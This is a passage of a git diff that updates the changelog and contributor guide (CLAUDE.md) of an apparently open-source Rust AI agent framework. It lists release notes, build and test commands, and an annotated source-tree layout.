([#559](https://github.com/nearai/ironclaw/pull/559)) + +### Other + +- *(llm)* complete response cache — set_model invalidation, stats logging, sync mutex ([#290](https://github.com/nearai/ironclaw/pull/290)) +- add 29 E2E trace tests for issues #571-575 ([#593](https://github.com/nearai/ironclaw/pull/593)) +- add 26 tests for multi-thread safety, db CRUD, concurrency, errors ([#442](https://github.com/nearai/ironclaw/pull/442)) +- update WASM artifact SHA256 checksums [skip ci] ([#560](https://github.com/nearai/ironclaw/pull/560)) +- add WIT compatibility tests for WASM extensions ([#586](https://github.com/nearai/ironclaw/pull/586)) +- Trajectory benchmarks and e2e trace test rig ([#553](https://github.com/nearai/ironclaw/pull/553)) + +## [0.15.0](https://github.com/nearai/ironclaw/compare/v0.14.0...v0.15.0) - 2026-03-04 + +### Added + +- *(oauth)* route callbacks through web gateway for hosted instances ([#555](https://github.com/nearai/ironclaw/pull/555)) +- *(web)* show error details for failed tool calls ([#490](https://github.com/nearai/ironclaw/pull/490)) +- *(extensions)* improve auth UX and add load-time validation ([#536](https://github.com/nearai/ironclaw/pull/536)) +- add local-test skill and Dockerfile.test for web gateway testing ([#524](https://github.com/nearai/ironclaw/pull/524)) + +### Fixed + +- *(security)* restrict query-token auth to SSE endpoints only ([#528](https://github.com/nearai/ironclaw/pull/528)) +- *(ci)* flush profraw coverage data in E2E teardown ([#550](https://github.com/nearai/ironclaw/pull/550)) +- *(wasm)* coerce string parameters to schema-declared types ([#498](https://github.com/nearai/ironclaw/pull/498)) +- *(agent)* strip leaked [Called tool ...] text from responses ([#497](https://github.com/nearai/ironclaw/pull/497)) +- *(web)* reset job list UI on restart failure ([#499](https://github.com/nearai/ironclaw/pull/499)) +- *(security)* replace .unwrap() panics in pairing store with proper error handling ([#515](https://github.com/nearai/ironclaw/pull/515)) + +### Other + +- Fix UTF-8 unsafe truncation in sandbox log capture ([#359](https://github.com/nearai/ironclaw/pull/359)) +- enhance coverage with feature matrix, postgres, and E2E ([#523](https://github.com/nearai/ironclaw/pull/523)) + +## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04 + +### Added + +- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506)) +- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489)) +- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491)) +- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477)) + +### Fixed + +- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508)) +- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500)) +- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501)) +- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502)) +- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503)) +- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505)) +- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411)) +- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479)) + +### Other + +- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517)) +- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511)) +- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493)) + +## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02 + +### Added + +- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474)) + +### Fixed + +- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475)) +- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470)) + +## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02 + +### Added + +- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438)) +- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435)) +- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436)) +- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437)) +- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399)) +- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404)) +- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398)) +- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382)) +- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397)) +- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375)) + +### Fixed + +- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421)) +- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446)) +- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428)) +- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432)) +- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401)) +- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427)) +- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433)) +- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430)) +- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431)) +- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426)) +- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424)) +- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423)) +- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422)) +- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434)) +- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391)) +- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372)) +- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390)) + +### Other + +- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445)) +- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371)) +- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353)) + +## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26 + +### Added + +- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380)) +- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376)) +- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369)) +- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350)) +- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270)) +- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271)) + +### Fixed + +- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370)) +- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377)) +- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346)) +- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323)) +- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322)) +- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312)) + +### Other + +- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342)) +- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337)) +- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310)) +- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300)) + +## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23 + +### Other + +- Ignore out-of-date generated CI so custom release.yml jobs are allowed + +## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23 + +### Fixed + +- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315)) + +### Other + +- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316)) +- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240)) + +## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22 + +### Added + +- update dashboard favicon ([#309](https://github.com/nearai/ironclaw/pull/309)) +- add web UI test skill for Chrome extension ([#302](https://github.com/nearai/ironclaw/pull/302)) +- implement FullJob routine mode with scheduler dispatch ([#288](https://github.com/nearai/ironclaw/pull/288)) +- hot-activate WASM channels, channel-first prompts, unified artifact resolution ([#297](https://github.com/nearai/ironclaw/pull/297)) +- add pairing/permission system to all WASM channels and fix extension registry ([#286](https://github.com/nearai/ironclaw/pull/286)) +- group chat privacy, channel-aware prompts, and safety hardening ([#285](https://github.com/nearai/ironclaw/pull/285)) +- embedded registry catalog and WASM bundle install pipeline ([#283](https://github.com/nearai/ironclaw/pull/283)) +- show token usage and cost tracker in gateway status popover ([#284](https://github.com/nearai/ironclaw/pull/284)) +- support custom HTTP headers for OpenAI-compatible provider ([#269](https://github.com/nearai/ironclaw/pull/269)) +- add smart routing provider for cost-optimized model selection ([#281](https://github.com/nearai/ironclaw/pull/281)) + +### Fixed + +- persist user message at turn start before agentic loop ([#305](https://github.com/nearai/ironclaw/pull/305)) +- block send until thread is selected ([#306](https://github.com/nearai/ironclaw/pull/306)) +- reload chat history on SSE reconnect ([#307](https://github.com/nearai/ironclaw/pull/307)) +- map Esc to interrupt and Ctrl+C to graceful quit ([#267](https://github.com/nearai/ironclaw/pull/267)) + +### Other + +- Fix tool schema OpenAI compatibility ([#301](https://github.com/nearai/ironclaw/pull/301)) +- simplify config resolution and consolidate main.rs init ([#287](https://github.com/nearai/ironclaw/pull/287)) +- Update image source in README.md +- Add files via upload +- remove ExtensionSource::Bundled, use download-only install for WASM channels ([#293](https://github.com/nearai/ironclaw/pull/293)) +- allow OAuth callback to work on remote servers (fixes #186) ([#212](https://github.com/nearai/ironclaw/pull/212)) +- add rate limiting for built-in tools (closes #171) ([#276](https://github.com/nearai/ironclaw/pull/276)) +- add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) ([#193](https://github.com/nearai/ironclaw/pull/193)) +- Feat/html to markdown #106 ([#115](https://github.com/nearai/ironclaw/pull/115)) +- adopt agent-market design language for web UI ([#282](https://github.com/nearai/ironclaw/pull/282)) +- speed up startup from ~15s to ~2s ([#280](https://github.com/nearai/ironclaw/pull/280)) +- consolidate tool approval into single param-aware method ([#274](https://github.com/nearai/ironclaw/pull/274)) + +## [0.9.0](https://github.com/nearai/ironclaw/compare/v0.8.0...v0.9.0) - 2026-02-21 + +### Added + +- add TEE attestation shield to web gateway UI ([#275](https://github.com/nearai/ironclaw/pull/275)) +- configurable tool iterations, auto-approve, and policy fix ([#251](https://github.com/nearai/ironclaw/pull/251)) + +### Fixed + +- add X-Accel-Buffering header to SSE endpoints ([#277](https://github.com/nearai/ironclaw/pull/277)) + +## [0.8.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.7.0...ironclaw-v0.8.0) - 2026-02-20 + +### Added + +- extension registry with metadata catalog and onboarding integration ([#238](https://github.com/nearai/ironclaw/pull/238)) +- *(models)* add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini ([#197](https://github.com/nearai/ironclaw/pull/197)) +- wire memory hygiene into the heartbeat loop ([#195](https://github.com/nearai/ironclaw/pull/195)) + +### Fixed + +- persist WASM channel workspace writes across callbacks ([#264](https://github.com/nearai/ironclaw/pull/264)) +- consolidate per-module ENV_MUTEX into crate-wide test lock ([#246](https://github.com/nearai/ironclaw/pull/246)) +- remove auto-proceed fake user message injection from agent loop ([#255](https://github.com/nearai/ironclaw/pull/255)) +- onboarding errors reset flow and remote server auth (#185, #186) ([#248](https://github.com/nearai/ironclaw/pull/248)) +- parallelize tool call execution via JoinSet ([#219](https://github.com/nearai/ironclaw/pull/219)) ([#252](https://github.com/nearai/ironclaw/pull/252)) +- prevent pipe deadlock in shell command execution ([#140](https://github.com/nearai/ironclaw/pull/140)) +- persist turns after approval and add agent-level tests ([#250](https://github.com/nearai/ironclaw/pull/250)) + +### Other + +- add automated PR labeling system ([#253](https://github.com/nearai/ironclaw/pull/253)) +- update CLAUDE.md for recently merged features ([#183](https://github.com/nearai/ironclaw/pull/183)) + +## [0.7.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.6.0...ironclaw-v0.7.0) - 2026-02-19 + +### Added + +- extend lifecycle hooks with declarative bundles ([#176](https://github.com/nearai/ironclaw/pull/176)) +- support per-request model override in /v1/chat/completions ([#103](https://github.com/nearai/ironclaw/pull/103)) + +### Fixed + +- harden openai-compatible provider, approval replay, and embeddings defaults ([#237](https://github.com/nearai/ironclaw/pull/237)) +- Network Security Findings ([#201](https://github.com/nearai/ironclaw/pull/201)) + +### Added + +- Refactored OpenAI-compatible chat completion routing to use the rig adapter and `RetryProvider` composition for custom base URL usage. +- Added Ollama embeddings provider support (`EMBEDDING_PROVIDER=ollama`, `OLLAMA_BASE_URL`) in workspace embeddings. +- Added migration `V9__flexible_embedding_dimension.sql` for flexible embedding vector dimensions. + +### Changed + +- Changed default sandbox image to `ironclaw-worker:latest` in config/settings/sandbox defaults. +- Improved tool-message sanitization and provider compatibility handling across NEAR AI, rig adapter, and shared LLM provider code. + +### Fixed + +- Fixed approval-input aliases (`a`, `/approve`, `/always`, `/deny`, etc.) in submission parsing. +- Fixed multi-tool approval resume flow by preserving and replaying deferred tool calls so all prior `tool_use` IDs receive matching `tool_result` messages. +- Fixed REPL quit/exit handling to route shutdown through the agent loop for graceful termination. + +## [0.6.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.5.0...ironclaw-v0.6.0) - 2026-02-19 + +### Added + +- add issue triage skill ([#200](https://github.com/nearai/ironclaw/pull/200)) +- add PR triage dashboard skill ([#196](https://github.com/nearai/ironclaw/pull/196)) +- add OpenRouter usage examples ([#189](https://github.com/nearai/ironclaw/pull/189)) +- add Tinfoil private inference provider ([#62](https://github.com/nearai/ironclaw/pull/62)) +- shell env scrubbing and command injection detection ([#164](https://github.com/nearai/ironclaw/pull/164)) +- Add PR review tools, job monitor, and channel injection for E2E sandbox workflows ([#57](https://github.com/nearai/ironclaw/pull/57)) +- Secure prompt-based skills system (Phases 1-4) ([#51](https://github.com/nearai/ironclaw/pull/51)) +- Add benchmarking harness with spot suite ([#10](https://github.com/nearai/ironclaw/pull/10)) +- 10 infrastructure improvements from zeroclaw ([#126](https://github.com/nearai/ironclaw/pull/126)) + +### Fixed + +- *(rig)* prevent OpenAI Responses API panic on tool call IDs ([#182](https://github.com/nearai/ironclaw/pull/182)) +- *(docs)* correct settings storage path in README ([#194](https://github.com/nearai/ironclaw/pull/194)) +- OpenAI tool calling — schema normalization, missing types, and Responses API panic ([#132](https://github.com/nearai/ironclaw/pull/132)) +- *(security)* prevent path traversal bypass in WASM HTTP allowlist ([#137](https://github.com/nearai/ironclaw/pull/137)) +- persist OpenAI-compatible provider and respect embeddings disable ([#177](https://github.com/nearai/ironclaw/pull/177)) +- remove .expect() calls in FailoverProvider::try_providers ([#156](https://github.com/nearai/ironclaw/pull/156)) +- sentinel value collision in FailoverProvider cooldown ([#125](https://github.com/nearai/ironclaw/pull/125)) ([#154](https://github.com/nearai/ironclaw/pull/154)) +- skills module audit cleanup ([#173](https://github.com/nearai/ironclaw/pull/173)) + +### Other + +- Fix division by zero panic in ValueEstimator::is_profitable ([#139](https://github.com/nearai/ironclaw/pull/139)) +- audit feature parity matrix against codebase and recent commits ([#202](https://github.com/nearai/ironclaw/pull/202)) +- architecture improvements for contributor velocity ([#198](https://github.com/nearai/ironclaw/pull/198)) +- fix rustfmt formatting from PR #137 +- add .env.example examples for Ollama and OpenAI-compatible ([#110](https://github.com/nearai/ironclaw/pull/110)) + ## [0.5.0](https://github.com/nearai/ironclaw/compare/v0.4.0...v0.5.0) - 2026-02-17 ### Added @@ -61,6 +376,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Bump MSRV to 1.92, add GCP deployment files ([#40](https://github.com/nearai/ironclaw/pull/40)) - Add OpenAI-compatible HTTP API (/v1/chat/completions, /v1/models) ([#31](https://github.com/nearai/ironclaw/pull/31)) + ## [0.1.3](https://github.com/nearai/ironclaw/compare/v0.1.2...v0.1.3) - 2026-02-12 ### Other diff --git a/CLAUDE.md b/CLAUDE.md index ff15ebbf..249bc903 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -13,14 +13,17 @@ ### Features - **Multi-channel input**: TUI (Ratatui), HTTP webhooks, WASM channels (Telegram, Slack), web gateway - **Parallel job execution** with state machine and self-repair for stuck jobs -- **Sandbox execution**: Docker container isolation with orchestrator/worker pattern +- **Sandbox execution**: Docker container isolation with network proxy and credential injection - **Claude Code mode**: Delegate jobs to Claude CLI inside containers +- **Skills system**: SKILL.md prompt extensions with trust model, tool attenuation, and ClawHub registry - **Routines**: Scheduled (cron) and reactive (event, webhook) task execution - **Web gateway**: Browser UI with SSE/WebSocket real-time streaming - **Extension management**: Install, auth, activate MCP/WASM extensions - **Extensible tools**: Built-in tools, WASM sandbox, MCP client, dynamic builder - **Persistent memory**: Workspace with hybrid search (FTS + vector via RRF) -- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection +- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection, shell env scrubbing +- **Multi-provider LLM**: NEAR AI, OpenAI, Anthropic, Ollama, OpenAI-compatible, Tinfoil private inference +- **Setup wizard**: 7-step interactive onboarding for first-run configuration - **Heartbeat system**: Proactive periodic execution with checklist ## Build & Test @@ -29,7 +32,7 @@ # Format code cargo fmt -# Lint (address warnings before committing) +# Lint (fix ALL warnings before committing, including pre-existing ones) cargo clippy --all --benches --tests --examples --all-features # Run all tests @@ -40,33 +43,53 @@ cargo test test_name # Run with logging RUST_LOG=ironclaw=debug cargo run + +# Run integration tests (may require running services/DB) +cargo test --test workspace_integration +cargo test --test ws_gateway_integration +cargo test --test heartbeat_integration + +# Run E2E tests (Python/Playwright — requires a running ironclaw instance) +# See tests/e2e/CLAUDE.md for full setup instructions +cd tests/e2e +python -m venv .venv && source .venv/bin/activate # On Windows: .venv\Scripts\activate +pip install -e . +playwright install chromium +pytest scenarios/ # all scenarios +pytest scenarios/test_chat.py # specific scenario ``` +### Test Tiers + +| Tier | Command | What runs | External deps | +|------|---------|-----------|---------------| +| Unit | `cargo test` | All `mod tests` + self-contained integration tests | None | +| Integration | `cargo test --features integration` | + PostgreSQL-dependent tests | Running PostgreSQL | +| Live | `cargo test --features integration -- --ignored` | + LLM-dependent tests | PostgreSQL + LLM API keys | + +Run `bash scripts/check-boundaries.sh` to verify test tier gating and other architecture rules. + ## Project Structure ``` src/ ├── lib.rs # Library root, module declarations ├── main.rs # Entry point, CLI args, startup -├── config.rs # Configuration from env vars +├── app.rs # App startup orchestration (channel wiring, DB init) +├── bootstrap.rs # Base directory resolution (~/.ironclaw), early .env loading +├── settings.rs # User settings persistence (~/.ironclaw/settings.json) +├── service.rs # OS service management (launchd/systemd daemon install) +├── tracing_fmt.rs # Custom tracing formatter +├── util.rs # Shared utilities +├── config/ # Configuration from env vars (split by subsystem) +│ ├── mod.rs # Re-exports all config types; top-level Config struct +│ ├── agent.rs, llm.rs, channels.rs, database.rs, sandbox.rs, skills.rs +│ ├── heartbeat.rs, routines.rs, safety.rs, embeddings.rs, wasm.rs +│ ├── tunnel.rs # Tunnel provider config (TUNNEL_PROVIDER, TUNNEL_URL, etc.) +│ └── secrets.rs, hygiene.rs, builder.rs, helpers.rs ├── error.rs # Error types (thiserror) │ -├── agent/ # Core agent logic -│ ├── agent_loop.rs # Main Agent struct, message handling loop -│ ├── router.rs # MessageIntent classification -│ ├── scheduler.rs # Parallel job scheduling -│ ├── worker.rs # Per-job execution with LLM reasoning -│ ├── self_repair.rs # Stuck job detection and recovery -│ ├── heartbeat.rs # Proactive periodic execution -│ ├── session.rs # Session/thread/turn model with state machine -│ ├── session_manager.rs # Thread/session lifecycle management -│ ├── compaction.rs # Context window management with turn summarization -│ ├── context_monitor.rs # Memory pressure detection -│ ├── undo.rs # Turn-based undo/redo with checkpoints -│ ├── submission.rs # Submission parsing (undo, redo, compact, clear, etc.) -│ ├── task.rs # Sub-task execution framework -│ ├── routine.rs # Routine types (Trigger, Action, Guardrails) -│ └── routine_engine.rs # Routine execution (cron ticker, event matcher) +├── agent/ # Core agent loop, dispatcher, scheduler, sessions — see src/agent/CLAUDE.md │ ├── channels/ # Multi-channel input │ ├── channel.rs # Channel trait, IncomingMessage, OutgoingResponse @@ -79,21 +102,60 @@ src/ │ │ ├── overlay.rs # Approval overlays │ │ └── composer.rs # Message composition │ ├── http.rs # HTTP webhook (axum) with secret validation +│ ├── webhook_server.rs # Unified HTTP server composing all webhook routes │ ├── repl.rs # Simple REPL (for testing) -│ ├── web/ # Web gateway (browser UI) -│ │ ├── mod.rs # Gateway builder, startup -│ │ ├── server.rs # Axum router, 40+ API endpoints -│ │ ├── sse.rs # SSE broadcast manager -│ │ ├── ws.rs # WebSocket gateway + connection tracking -│ │ ├── types.rs # Request/response types, SseEvent enum -│ │ ├── auth.rs # Bearer token auth middleware -│ │ ├── log_layer.rs # Tracing layer for log streaming -│ │ └── static/ # HTML, CSS, JS (single-page app) +│ ├── web/ # Web gateway (browser UI) — see src/channels/web/CLAUDE.md │ └── wasm/ # WASM channel runtime │ ├── mod.rs │ ├── bundled.rs # Bundled channel discovery +│ ├── capabilities.rs # Channel-specific capabilities (HTTP endpoint, emit rate) +│ ├── error.rs # WASM channel error types +│ ├── runtime.rs # WASM channel execution runtime │ └── wrapper.rs # Channel trait wrapper for WASM modules │ +├── cli/ # CLI subcommands (clap) +│ ├── mod.rs # Cli struct, Command enum (run/onboard/config/tool/registry/mcp/memory/pairing/service/doctor/status/completion) +│ ├── config.rs # config list/get/set subcommands +│ ├── tool.rs # tool install/list/remove subcommands +│ ├── registry.rs # registry list/install subcommands +│ ├── mcp.rs # mcp add/auth/list/test subcommands +│ ├── memory.rs # memory search/read/write subcommands +│ ├── pairing.rs # pairing list/approve subcommands +│ ├── service.rs # service install/start/stop subcommands +│ ├── doctor.rs # Active health diagnostics +│ ├── status.rs # System health/status display +│ ├── completion.rs # Shell completion script generation +│ └── oauth_defaults.rs # Default OAuth redirect URIs +│ +├── registry/ # Extension registry catalog +│ ├── mod.rs # Public API; re-exports RegistryCatalog, RegistryInstaller, manifest types +│ ├── manifest.rs # ExtensionManifest, ArtifactSpec, BundleDefinition types +│ ├── catalog.rs # RegistryCatalog: load from filesystem and embedded JSON +│ ├── installer.rs # RegistryInstaller: download, verify, install WASM artifacts +│ ├── artifacts.rs # Artifact download and caching +│ └── embedded.rs # Catalog compiled into binary at build time (via build.rs) +│ +├── hooks/ # Lifecycle hooks for intercepting agent operations +│ ├── mod.rs # 6 HookPoints: BeforeInbound, BeforeToolCall, BeforeOutbound, OnSessionStart, OnSessionEnd, TransformResponse +│ ├── hook.rs # Hook trait, HookContext, HookEvent, HookOutcome, HookFailureMode +│ ├── registry.rs # HookRegistry: register, prioritize, execute hooks +│ └── bundled.rs # Built-in hooks: rule-based filters, webhook forwarders, HookBundleConfig +│ +├── tunnel/ # Tunnel abstraction for public internet exposure +│ ├── mod.rs # Tunnel trait, TunnelProviderConfig, create_tunnel() factory +│ ├── cloudflare.rs # CloudflareTunnel (cloudflared binary) +│ ├── ngrok.rs # NgrokTunnel +│ ├── tailscale.rs # TailscaleTunnel (serve/funnel modes) +│ ├── custom.rs # CustomTunnel (arbitrary command with {host}/{port}) +│ └── none.rs # NoneTunnel (local-only, no exposure) +│ +├── observability/ # Pluggable event/metric recording +│ ├── mod.rs # create_observer() factory, ObservabilityConfig +│ ├── traits.rs # Observer trait, ObserverEvent, ObserverMetric +│ ├── noop.rs # NoopObserver (zero overhead, default) +│ ├── log.rs # LogObserver (tracing-based) +│ └── multi.rs # MultiObserver (fan-out to multiple backends) +│ ├── orchestrator/ # Internal HTTP API for sandbox containers │ ├── mod.rs │ ├── api.rs # Axum endpoints (LLM proxy, events, prompts) @@ -111,26 +173,30 @@ src/ │ ├── sanitizer.rs # Pattern detection, content escaping │ ├── validator.rs # Input validation (length, encoding, patterns) │ ├── policy.rs # PolicyRule system with severity/actions -│ └── leak_detector.rs # Secret detection (API keys, tokens, etc.) +│ ├── leak_detector.rs # Secret detection (API keys, tokens, etc.) +│ └── credential_detect.rs # HTTP request credential detection (headers, URL params) │ -├── llm/ # LLM integration (NEAR AI only) -│ ├── provider.rs # LlmProvider trait, message types -│ ├── nearai.rs # NEAR AI chat-api implementation -│ ├── reasoning.rs # Planning, tool selection, evaluation -│ └── session.rs # Session token management with auto-renewal +├── llm/ # Multi-provider LLM integration — see src/llm/CLAUDE.md │ ├── tools/ # Extensible tool system │ ├── tool.rs # Tool trait, ToolOutput, ToolError │ ├── registry.rs # ToolRegistry for discovery │ ├── sandbox.rs # Process-based sandbox (stub, superseded by wasm/) +│ ├── rate_limiter.rs # Shared sliding-window rate limiter for built-in and WASM tools │ ├── builtin/ # Built-in tools │ │ ├── echo.rs, time.rs, json.rs, http.rs +│ │ ├── web_fetch.rs # GET URL → clean Markdown (readability + html-to-md conversion) │ │ ├── file.rs # ReadFile, WriteFile, ListDir, ApplyPatch │ │ ├── shell.rs # Shell command execution │ │ ├── memory.rs # Memory tools (search, write, read, tree) +│ │ ├── message.rs # MessageTool: agent proactively messages users on any channel │ │ ├── job.rs # CreateJob, ListJobs, JobStatus, CancelJob │ │ ├── routine.rs # routine_create/list/update/delete/history │ │ ├── extension_tools.rs # Extension install/auth/activate/remove +│ │ ├── skill_tools.rs # skill_list/search/install/remove tools +│ │ ├── secrets_tools.rs # secret_list/secret_delete (zero-exposure: no values exposed) +│ │ ├── html_converter.rs # HTML→Markdown via readability + html-to-markdown-rs +│ │ ├── path_utils.rs # Shared path validation/canonicalization helpers │ │ └── marketplace.rs, ecommerce.rs, taskrabbit.rs, restaurant.rs (stubs) │ ├── builder/ # Dynamic tool building │ │ ├── core.rs # BuildRequirement, SoftwareType, Language @@ -139,7 +205,8 @@ src/ │ │ └── validation.rs # WASM validation │ ├── mcp/ # Model Context Protocol │ │ ├── client.rs # MCP client over HTTP -│ │ └── protocol.rs # JSON-RPC types +│ │ ├── protocol.rs # JSON-RPC types +│ │ └── session.rs # MCP session management (Mcp-Session-Id header, per-server state) │ └── wasm/ # Full WASM sandbox (wasmtime) │ ├── runtime.rs # Module compilation and caching │ ├── wrapper.rs # Tool trait wrapper for WASM modules @@ -149,13 +216,10 @@ src/ │ ├── credential_injector.rs # Safe credential injection │ ├── loader.rs # WASM tool discovery from filesystem │ ├── rate_limiter.rs # Per-tool rate limiting +│ ├── error.rs # WASM-specific error types │ └── storage.rs # Linear memory persistence │ -├── db/ # Database abstraction layer -│ ├── mod.rs # Database trait (~60 async methods) -│ ├── postgres.rs # PostgreSQL backend (delegates to Store + Repository) -│ ├── libsql_backend.rs # libSQL/Turso backend (embedded SQLite) -│ └── libsql_migrations.rs # SQLite-dialect schema (idempotent) +├── db/ # Dual-backend persistence (PostgreSQL + libSQL) — see src/db/CLAUDE.md │ ├── workspace/ # Persistent memory system (OpenClaw-inspired) │ ├── mod.rs # Workspace struct, memory operations @@ -180,14 +244,48 @@ src/ │ ├── success.rs # SuccessEvaluator trait, RuleBasedEvaluator, LlmEvaluator │ └── metrics.rs # MetricsCollector, QualityMetrics │ +├── sandbox/ # Docker execution sandbox +│ ├── mod.rs # Public API, default allowlist +│ ├── config.rs # SandboxConfig, SandboxPolicy enum +│ ├── manager.rs # SandboxManager orchestration +│ ├── container.rs # ContainerRunner, Docker lifecycle +│ ├── error.rs # SandboxError types +│ └── proxy/ # Network proxy for containers +│ ├── mod.rs # NetworkProxyBuilder +│ ├── http.rs # HttpProxy, CredentialResolver trait +│ ├── policy.rs # NetworkPolicyDecider trait +│ └── allowlist.rs # DomainAllowlist validation +│ ├── secrets/ # Secrets management +│ ├── mod.rs # SecretsStore trait, public API +│ ├── types.rs # Core types (Secret, SecretRef, SecretMetadata) │ ├── crypto.rs # AES-256-GCM encryption -│ ├── store.rs # Secret storage -│ └── types.rs # Credential types +│ ├── keychain.rs # OS keychain integration (macOS Keychain, GNOME Keyring) for master key +│ └── store.rs # 